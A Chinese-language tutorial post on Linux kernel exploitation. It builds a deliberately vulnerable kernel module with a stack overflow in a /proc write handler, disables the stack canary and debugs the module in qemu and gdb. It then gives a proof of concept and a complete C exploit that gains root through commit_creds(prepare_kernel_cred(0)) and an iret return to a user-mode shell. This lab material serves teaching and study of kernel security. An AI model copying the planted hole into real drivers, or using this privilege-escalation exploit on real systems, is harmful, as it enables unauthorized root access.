write linux kernel exploit 2
Stack smashing
简单的内核栈溢出
一个简单的demo
漏洞很明显,memcpy没有对长度进行判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $ vim stack_smashing.c #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> int bug2_write (struct file *file,const char *buf,unsigned long len) { char localbuf[8 ]; memcpy (localbuf,buf,len); return len; } static int __init stack_smashing_init (void ) { printk(KERN_ALERT "stack_smashing driver init!\n" ); create_proc_entry("bug2" ,0666 ,0 )->write_proc = bug2_write; return 0 ; } static void __exit stack_smashing_exit (void ) { printk(KERN_ALERT "stack_smashing driver exit!\n" ); } module_init(stack_smashing_init); module_exit(stack_smashing_exit);
1 2 3 4 5 6 7 8 9 10 ko文件的Makefile, KERNELDR目录设置为linux内核源码的根目录即可 obj-m := stack_smashing.o KERNELDR := ~/linux_kernel/linux-2.6 .32 .1 PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
简单的测试 1 2 3 4 5 qemu启动内核,加载相关的busybox $ qemu-system-i386 -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda >加载模块 $ insmod stack_smashing.ko
POC测试
发现此时编译的ko是有canary检测了,为了测试方便,需要关闭栈保护机制,可以修改~linux_kernel/linux-2.6.32.1中的配置文件.config,找到CONFIG_CC_STACKPROTECTOR注释掉即可,然后重新编译内核和ko文件
1 关闭CONFIG_CC_STACKPROTECTOR之后重新测试栈溢出
调试模块
由于模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。 模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区所以只需要指定text即可。
1 2 获取text节区地址 $ grep 0 /sys/module/stack_smashing/sections/.text
1 2 3 4 5 在gdb中添加模块信息 gdb-peda$ add-symbol-file /home/swing/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000 如果存在data和bss节区可以如下指定: gdb-peda$ add-symbol-file /home/swingr/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000 -s .bss xxxx -s .data xxxx
1 2 3 4 对漏洞函数下断点,可以看到bug2_write在模块中的偏移是0x30,所以在0xc8830000+0x30处下断点 gdb-peda$ b bug2_write Breakpoint 1 at 0x30: bug2_write. (2 locations) gdb-peda$ b *0xc8830030
具体调试步骤 调试模式启动kernel
1 $ qemu-system-i386 -S -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"
设置qemu gdbserver(Ctrl+Alt+2)
1 (qemu) gdbserver tcp::1234
gdb调试kernel
1 2 3 4 $ gdb vmlinux gdb-peda$ target remote localhost:1234 gdb-peda$ c
继续运行qemu(Ctrl+Alt+1)
在启动的内核中加载模块
1 2 $ insmod stack_smashing.ko
找到模块stack_smashing的text地址
1 2 $ grep 0 /sys/module/stack_smashing/sections/.text 0xc8830000
在gdb中command+c停止kernel运行加载符号并设置断点
1 2 3 4 5 6 7 8 9 10 11 gdb-peda$ c Continuing. ^C gdb-peda$ file vmlinux Reading symbols from vmlinux...done. gdb-peda$ add-symbol-file /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000 add symbol table from file "/home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko" at .text_addr = 0xc8830000 Reading symbols from /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko...done.
添加断点
qemu中触发漏洞 $ echo ABCDEFGHIJKLMNOPQRSTUVWXYZ > /proc/bug2
进入gdb中调试 gdb-peda$ s Warning: not running or target is remote 9 memcpy(localbuf,buf,len);
gdb-peda$ x /20i $eip => 0xc883000f <bug2_write+15>: mov esi,edx 0xc8830011 <bug2_write+17>: shr ecx,0x2 0xc8830014 <bug2_write+20>: lea edi,[ebp-0x10] 0xc8830017 <bug2_write+23>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 0xc8830019 <bug2_write+25>: mov ecx,eax 0xc883001b <bug2_write+27>: and ecx,0x3 0xc883001e <bug2_write+30>: je 0xc8830022 <bug2_write+34> 0xc8830020 <bug2_write+32>: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] 0xc8830022 <bug2_write+34>: add esp,0x8 0xc8830025 <bug2_write+37>: pop esi 0xc8830026 <bug2_write+38>: pop edi 0xc8830027 <bug2_write+39>: pop ebp 0xc8830028 <bug2_write+40>: ret 可以看到memcpy已经被编译器优化为rep movs指令
在函数返回处下断点 gdb-peda$ b *0xc8830028 gdb-peda$ c gdb-peda$ x /10i $eip => 0xc8830028 <bug2_write+40>: ret
可以看到此时ret之后控制eip为0x58575655 gdb-peda$ x /wx $esp 0xc7a63f30: 0x58575655
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 poc $ cat stack_smashing_poc.c #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <fcntl.h> int main () { char buf[24 ]; memset (buf,'A' ,24 ); *((void **) (buf+20 )) = 0x43434343 ; int fd = open("/proc/bug2" , O_WRONLY); write(fd, buf, sizeof (buf)); return 0 ; }
exp
从内核模式赋予root权限commit_creds(prepare_kernel_cred(0))然后直接返回用户模式,并在用户模式启一个shell,拿到root shell,其中使用iret指令来返回。
iret简介
1 2 3 当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。 当使用IRET指令返回到一个不同的保护级别时,IRET不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。
硬件在栈上保存了trap frame,iret从下面的结构中恢复到用户模式 1 2 3 4 5 6 7 8 struct trap_frame { void * eip; uint32_t cs; uint32_t eflags; void * esp; uint32_t ss; } __attribute__((packed));
构造fake trap frame和用户模式shell 构造fake trap frame(struct trap_frame) 1 2 3 4 5 6 7 8 9 void prepare_tf (void ) { asm ("pushl %cs; popl tf+4;" "pushfl; popl tf+8;" "pushl %esp; popl tf+12;" "pushl %ss; popl tf+16;" ); tf.eip = &launch_shell; tf.esp -= 1024 ; }
用户模式shell 1 2 3 4 void launch_shell (void ) { execl("/bin/sh" , "sh" , NULL ); }
最终的exp和调试
注意添加断点直接b bug2_write,通过commit_creds(prepare_kernel_cred(0))赋予root权限 并通过iret从内核态直接返回用户态然后启动用户态的shell(launch_shell)此时得到的就是root shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdint.h> struct trap_frame { void *eip; uint32_t cs; uint32_t eflags; void *esp; uint32_t ss; }__attribute__((packed)); struct trap_frame tf ;void get_shell (void ) { execl("/bin/sh" , "sh" , NULL ); } void init_tf_work (void ) { asm ("pushl %cs;popl tf+4;" "pushfl;popl tf+8;" "pushl %esp;popl tf+12;" "pushl %ss;popl tf+16;" ); tf.eip = &get_shell; tf.esp -= 1024 ; } #define KERNCALL __attribute__((regparm(3))) void * (*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1067c30 ;void (*commit_creds)(void *) KERNCALL = (void *) 0xc1067a90 ;void payload (void ) { commit_creds(prepare_kernel_cred(0 )); asm ("mov $tf,%esp;" "iret;" ); } int main (void ) { char buf[24 ]; memset (buf,0x41 ,24 ); *((void **)(buf+20 )) = &payload; init_tf_work(); write(1 ,buf,sizeof (buf)); int fd = open("/proc/bug2" ,O_WRONLY); write(fd,buf,sizeof (buf)); return 0 ; }
3. 调试exploit 先要做一些准备工作:
然后就可以返回到系统中,运行exploit程序了。
对ret指令下断,然后c过去,这时候单步的话,应该就ret到我们payload的地址了。
查看一下栈顶的情况:
接下来,我们单步,直行进入我们的payload。
这里可以看到先去执行commit_creds(prepare_kernel_cred(0))
了。
我们主要关注iret的时候:
红色部分就是我们伪造的tf结构啦!
这边可以看到eip指向是我们用来起shell的函数,这样看来整个payload结构是没什么问题的。
最终效果
按write-linux-kernel-exploit-1文中——qemu中添加普通用户并测试
总结
真实环境中,canary是启用的,一旦canary被覆盖,就会造成kernel panics
引用 linux_kernel_exploit